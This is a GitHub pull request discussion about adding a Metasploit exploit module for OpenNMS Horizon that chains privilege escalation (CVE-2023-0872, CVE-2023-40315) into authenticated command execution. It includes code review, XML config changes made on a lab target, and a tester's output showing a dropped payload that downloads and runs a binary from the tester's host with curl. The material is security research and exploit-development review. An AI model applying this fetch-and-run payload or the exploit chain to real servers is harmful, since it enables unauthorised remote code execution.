-
Notifications
You must be signed in to change notification settings - Fork 14.1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add OpenNMS Horizon privesc and authenticated RCE exploit and docs #18618
Conversation
Rank = ExcellentRanking | ||
|
||
include Msf::Exploit::Remote::HttpClient | ||
include Msf::Exploit::CmdStager |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
With no call to execute_cmdstager
, I don't think you need this since you're not using the cmdstager.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Good point! I initially planned to use one but in the end had no need for it and then forgot to remove this
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
fixed
|
||
notification = xml_doc.create_element('notification', 'name' => notification_name, 'status' => 'on') | ||
uei = xml_doc.create_element('uei', 'uei.opennms.org/internal/authentication/failure') | ||
rule = xml_doc.create_element('rule', "IPADDR != '1.1.1.1'") |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
If you need an example non-routable IP, see RFC 5737:
The blocks 192.0.2.0/24 (TEST-NET-1), 198.51.100.0/24 (TEST-NET-2),
and 203.0.113.0/24 (TEST-NET-3) are provided for use in
documentation.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
That's a great idea! I actually forgot to double check if that rule is required. It is when using the UI but I'm not sure if it actually checks for it. If it can't be omitted, I'll set a random non-routable IP
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
@bwatters-r7 this has been implemented in the latest commit
Thanks for your pull request! Before this can be merged, we need the following documentation for your module: |
Is this still on your radar, @ErikWynter? |
@bwatters-r7 yes definitely! I was hoping to work on it this week but no luck. I have another open PR here still too. I should be able to push some changes on at least one of these next week though. |
@bwatters-r7 I finally found some time to add the changes you requested. I have also added the docs and an advanced option that was still mentioned as a |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks for the module @ErikWynter! Congrats on finding some really cool vulns. I enjoyed reading the write up. A couple of comments about the PR:
Version 32.0.6
I was unable to get the two docker-compose files to work together. I was able to install the 32.0.6
on Ubuntu 22 using the bootstrap script. I tried inputting valid credentials to see if it would still be able to obtain RCE without exploit the privescs. I wasn't able to get a session back from but this is what I noticed when trying to exploit:
The methods that edit and clean up the XML files work quite well. Each time I ran the module the files were edited and restored to their original state.
Target Changes
Additions to notificationCommands.xml
:
<command binary="true ">
<name>zSBmCgBBJhB</name>
<execute>/usr/bin/bash</execute>
<comment>ZLxLXSpz</comment>
<argument streamed="false">
<substitution>/usr/share/opennms/etc/yrfwjkhmlbt.bsh</substitution>
</argument>
</command>
Additions to destinationPaths.xml
:
<path name="XTHOVMPzkWK">
<target>
<name>Admin</name>
<command>zSBmCgBBJhB</command>
</target>
</path>
Additions to notifications.xml
:
<command binary="true">
<name>zSBmCgBBJhB</name>
<execute>/usr/bin/bash</execute>
<comment>ZLxLXSpz</comment>
<argument streamed="false">
<substitution>/usr/share/opennms/etc/yrfwjkhmlbt.bsh</substitution>
</argument>
</command>
Payload was successfully delivered but did not return a shell:
opennms@3255f34bf57d:~$ ls -l /usr/share/opennms/etc/yrfwjkhmlbt.bsh
-rw-rw-r-- 1 opennms opennms 78 Jan 30 21:13 /usr/share/opennms/etc/yrfwjkhmlbt.bsh
cat /usr/share/opennms/etc/yrfwjkhmlbt.bsh
curl -so /tmp/HZ http://172.16.199.1:8081/fdsffgs; chmod +x /tmp/HZ; /tmp/HZ &
The .bsh
payload had file permissions of 664
- is this to be expected?
I increased the wfs_delay
so i had time analyze the target changes before they were restored. During this time I manually ran chmod +x yrfwjkhmlbt.bsh && ./yrfwjkhmlbt.bsh
and I received a session.
Version 31.0.8
I thought maybe they had patched the RCE on the latest version so I spun up a version 31.0.8 with a singular docker-compose file, but I noticed the exact same behaviour as the 32.0.6 target. The XML files were edited, the payload was dropped with 644 file permissions and everything was cleaned up nicely but no session was returned.
Let me know if you have any suggestions for me to get this working, my apologies if this ends up being an environment issue on my side.
with ROLE_FILESYSTEM_EDITOR privileges and either ROLE_ADMIN or ROLE_REST. | ||
For versions 32.0.1 and lower, credentials are required for a user with ROLE_FILESYSTEM_EDITOR, ROLE_REST, and/or ROLE_ADMIN privileges. | ||
|
||
The module first tries to authenticated to the target in order to verify the credentials and obtain the OpenNMS version. |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
The module first tries to authenticated to the target in order to verify the credentials and obtain the OpenNMS version. | |
The module first tries to authenticate to the target in order to verify the credentials and obtain the OpenNMS version. |
# upload the edited users.xml file via the filesystem endpoint | ||
success, message = upload_xml_config_file(users_file, generate_post_data(users_file, xml_doc_or_msg.to_xml(indent: 3)), mode) | ||
unless deescalate | ||
# If we have escalated privileges via the filesytem, we need to wait a few seconds for the changes to be saved |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
# If we have escalated privileges via the filesytem, we need to wait a few seconds for the changes to be saved | |
# If we have escalated privileges via the filesystem, we need to wait a few seconds for the changes to be saved |
Hey @jheysel-r7 sorry to hear about the issues you were having. I've had issues installing the app too, so I imagine something isn't fully working on your install, or there is something about your environment that the module doesn't handle well, because I have tested this module extensively and never ran into this problem.
I have been planning to do a fresh install of OpenNMS myself and double check things but I haven't been able to find the time yet. I hope any of the above suggestions are helpful. :) |
Jenkins test this please |
Hey @ErikWynter, thanks so much for the detailed response. I didn't realize at first that notifications had to be enabled in order for the payload to be triggered. It all makes sense now. I pushed a quick change just to check to see if notifications are enabled on the target and then if they're not the module enables them. Enabling notifications requires admin privs but at that point in the module the user logged in should have those privs. ** Edit: I figured this change was probably justified as notifications are disabled by default. Testing output when notifications are not enabled, note the lines:
Testing when notifications are already enabled:
|
2b90d33
Release NotesThis module exploits built-in functionality in OpenNMS Horizon in order to execute arbitrary commands as the opennms user. For versions 32.0.2 and higher, this module requires valid credentials for a user with ROLE_FILESYSTEM_EDITOR privileges and either ROLE_ADMIN or ROLE_REST. For versions 32.0.1 and lower, credentials are required for a user with ROLE_FILESYSTEM_EDITOR, ROLE_REST, and/or ROLE_ADMIN privileges. |
About
This change adds an exploit module (with docs) that exploits built-in functionality in OpenNMS Horizon in order to execute arbitrary commands as the opennms user. For versions 32.0.2 and higher, this module requires valid credentials for a user with ROLE_FILESYSTEM_EDITOR privileges and either ROLE_ADMIN or ROLE_REST. For versions 32.0.1 and lower, credentials are required for a user with ROLE_FILESYSTEM_EDITOR, ROLE_REST, and/or ROLE_ADMIN privileges. In that case, the module will automatically escalate privileges via CVE-2023-40315 or CVE-2023-0872 if necessary.
This module has been successfully tested against OpenNMS version 31.0.7
Vulnerable Application
OpenNMS Horizon prior to 32.0.2, though it will likely also work against versions 32.0.2 and higher if the user has sufficient privileges.
Writeup and demo videos
I have published a writeup that covers CVE-2023-0872, CVE-2023-40315 and the authenticated RCE chain.
In addition, I have created the following demo videos:
Installation Information
OpenNMS is open source software and is available on GitHub. Documentation, including installation information, is available here.
The easiest way to install OpenNMS is via docker. This requires creating two docker-compose files, one for the PostgreSQL database and one for OpenNMS Horizon:
The PostgreSQL docker-compose file should look something like this:
For OpenNMS Horizon 31.0.8, the OpenNMS Horizon docker-compose file should look something like this, but any other version can be specified:
The OpenNMS web app will then be available on port 8980. The default credentials are admin:admin.
Scenarios
OpenNMS Horizon 31.0.7 - Exploitation via CVE-2023-0872
OpenNMS Horizon 31.0.7 - Exploitation via CVE-2023-40315
Notes:
FETCH_URIPATH
manually to a different value. I'm not sure why this happens and what can be done to avoid it.